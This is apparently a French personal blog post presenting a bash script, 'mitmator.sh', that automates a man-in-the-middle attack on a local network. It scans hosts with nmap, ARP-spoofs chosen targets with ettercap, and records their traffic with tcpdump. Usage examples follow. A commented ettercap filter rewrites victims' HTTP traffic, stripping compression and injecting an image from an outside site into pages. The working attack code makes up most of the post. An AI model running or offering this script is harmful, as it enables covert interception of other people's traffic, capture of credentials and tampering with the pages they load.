MITMator ou comment sniffer votre réseau en une commande

Toujours en perpétuelle apprentissage, en se moment je suis plutot orienté réseaux. Je voulais voir si il été possible de pomper toutes les requêtes web de mon réseau. À ma grande surprise, je suis tombé sur énormément de documention sur tcpdump, nmap, et ettercap traitant de ce suget. Autant vous dire que ça peut faire peur
Comme d'habitude je me suis fait un script (avec ce que j'ai trouver sur le net), qui fait tout tout seul...enfin presque
Script mitmator.sh:
#! /bin/bash
function sniff() {
if [[ "$2" != "" ]]; then
param=" $2"
else
param=""
fi
echo "tcpdump -i $1 -n -w \"`date +%Y-%m-%d-%H:%M`.dump\" $param"
tcpdump -i $1 -n -w "`date +%Y-%m-%d-%H:%M`.dump" $param
kill -9 `cat ettercap.pid`
echo "Reprise dans 5 secondes..."
sleep 5
if [[ "$Mmitm" == "y" ]]; then
mitm_noread
fi
sniff "$1" "$param"
}
function mitm() {
echo -n "MITM [y/n(default)]? "
#via le code en commentaire ci-dessous créer un fichier "filter.ett" et ajouter l'option "-F filter.ett" à la commande ettercap "ettercap -T -q -F filter.ett -M ARP $t1 $t2"
#
#if (ip.proto == TCP && tcp.dst == 80) {
# if (search(DATA.data, "Accept-Encoding")) {
# replace("Accept-Encoding", "Accept-Rubbish!");
# # note: replacement string is same length as original string
# msg("zapped Accept-Encoding!\n");
# }
#}
#if (ip.proto == TCP && tcp.src == 80) {
# replace("img src=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
# replace("IMG SRC=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
# msg("Filter Ran.\n");
#}
read mitm
if [[ "$mitm" == "y" ]]; then
Mmitm="y"
echo "ex: /192.168.1.1//"
echo -n "Target 1> "
read t1
echo -n "Target 2> "
read t2
Tt1=$t1
Tt2=$t2
if [[ "$t1" == "" ]]; then
t1="///"
Tt1="///"
fi
if [[ "$t2" == "" ]]; then
t2="///"
Tt1="///"
fi
echo "ettercap -T -q -i $interface -M ARP:remote $t1 $t2 &"
ettercap -T -q -i $interface -M ARP:remote $t1 $t2 &
echo $! > ettercap.pid
sleep 5
fi
}
function mitm_noread() {
echo "ettercap -T -q -i $interface -M ARP:remote $Tt1 $Tt2 &"
ettercap -T -q -i $interface -M ARP:remote $Tt1 $Tt2 &
echo $! > ettercap.pid
sleep 5
}
Mmitm="n"
Tt1="///"
Tt2="///"
interface=$1
baseip=$2
if [[ "`whoami`" != "root" ]]; then
sudo $0 $*
exit 1
else
if [[ "$1" != "" ]]; then
interface=$1
baseip=$2
else
interface="eth0"
baseip="192.168.1.0"
fi
echo "nmap -sP $baseip/24"
nmap -sP $baseip/24
mitm $interface
if [[ "$3" != "" ]]; then
if [[ "$3" == "-q" ]]; then
prm=""
else
echo "tcpdump -i $interface -n -w \"`date +%Y-%m-%d-%H:%M`.dump\" $3 \\"
echo -n "> "
read prm1
prm="$3 $prm1"
fi
else
echo "tcpdump -i $interface -n -w \"`date +%Y-%m-%d-%H:%M`.dump\" \\"
echo -n "> "
read prm
fi
sniff "$interface" "$prm"
fi
Pour lancer la commande
mitmator.sh eth0 192.168.1.0
#ou
mitmator.sh wlan0 192.168.2.0 "port 80 or 21"
#pour passer l'étape la demande d'ajout de paramètres
mitmator.sh wlan0 192.168.2.0 -q
Le déroulement de MITMator
Pour commencer le script va lancer nmap histoire de vous lister les coquins qui traine sur le réseau:
nmap -sP 192.168.1.0/24
ensuite il vous propose de lancer une attaque MITM (Man in the middle). tapez 'y' et définissez la Target 1> /192.168.1.1// , ensuite laisser vide la Target 2 par défault ça mettra /// . Ça lance la commande ettercap suivante
ettercap -T -q -i eth0 -M ARP:remote /192.168.1.1// /// &
echo $! > ettercap.pid
pour finir il lance le sniffage avec tcpdump, mais avant il vous propose de rajouter des paramètres à tcpdump
tcpdump -i eth0 -n -w "`date +%Y-%m-%d-%H:%M`.dump" \\
>
cela lancera la récupération et vous crééra un fichier daté .dump que vous pourrez ouvrir avec le logiciel Wireshark. Si le dump coupe il reprendra 5 seconde après. Si vous souhaitez stopper le dump en cours faite ctrl+C il affichera "Reprise dans 5 seconde..." et si vous voulez quitter MITMator refaite ctrl+C
J'ai mis en commentaire dans le code un petit exemple de filtre ettercap (source)...très intéréssant :-P
merci à internet et c'est différents moteurs de recherche, ainsi et surtout aux bloggueurs ayant partagés leurs savoirs et m'ayant permis de faire ce petit script ;-)
++